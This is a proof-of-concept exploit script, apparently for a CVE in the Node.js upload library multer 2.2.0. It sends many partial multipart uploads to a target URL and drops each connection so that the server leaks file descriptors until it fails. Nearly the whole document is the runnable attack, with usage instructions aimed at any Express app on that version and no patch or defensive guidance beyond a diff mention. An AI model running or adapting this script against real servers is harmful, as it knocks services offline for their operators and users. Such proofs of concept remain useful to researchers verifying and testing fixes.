CVE-2026-77037: multer Denial of Service via File Descriptor Leak on Aborted Uploads

#!/usr/bin/env node
// Derived from patch diff: the fix adds an abort/close handler on the
// source fileStream that was completely absent in 2.2.0. Without it,
// closing the TCP connection mid-upload is all that is needed to leak a fd.
//
// Target: any Express app running multer 2.2.0 diskStorage
// Usage:  node dos.js http://target/upload <field_name> <iterations>

const http  = require('http');
const { URL } = require('url');

const [,, target, field = 'file', iters = '2000'] = process.argv;
const url = new URL(target);
const BOUNDARY = '----FormBoundaryDOSProbe';

// Build just enough of a valid multipart body to open the write stream on
// the server, then destroy the socket before sending any actual file data.
function leakOneFd () {
  return new Promise((resolve) => {
    const headers = [
      `--${BOUNDARY}`,
      `Content-Disposition: form-data; name="${field}"; filename="a.bin"`,
      'Content-Type: application/octet-stream',
      '',
      '',   // empty line ends headers; body begins here but we abort immediately
    ].join('\r\n');

    const req = http.request({
      hostname: url.hostname,
      port:     url.port || 80,
      path:     url.pathname,
      method:   'POST',
      headers: {
        'Content-Type': `multipart/form-data; boundary=${BOUNDARY}`,
        // Large declared length so multer keeps the stream open
        'Content-Length': '999999999',
      },
    });

    req.on('error', resolve);   // expected: connection reset
    req.write(headers);         // server opens the write fd here
    req.destroy();              // drop the socket -- fd now leaks in multer 2.2.0
    resolve();
  });
}

(async () => {
  const n = parseInt(iters, 10);
  console.log(`Sending ${n} aborted uploads to ${target} ...`);
  for (let i = 0; i < n; i++) {
    await leakOneFd();
  }
  console.log('Done. Check server fd count: ls -1 /proc/<pid>/fd | wc -l');
})();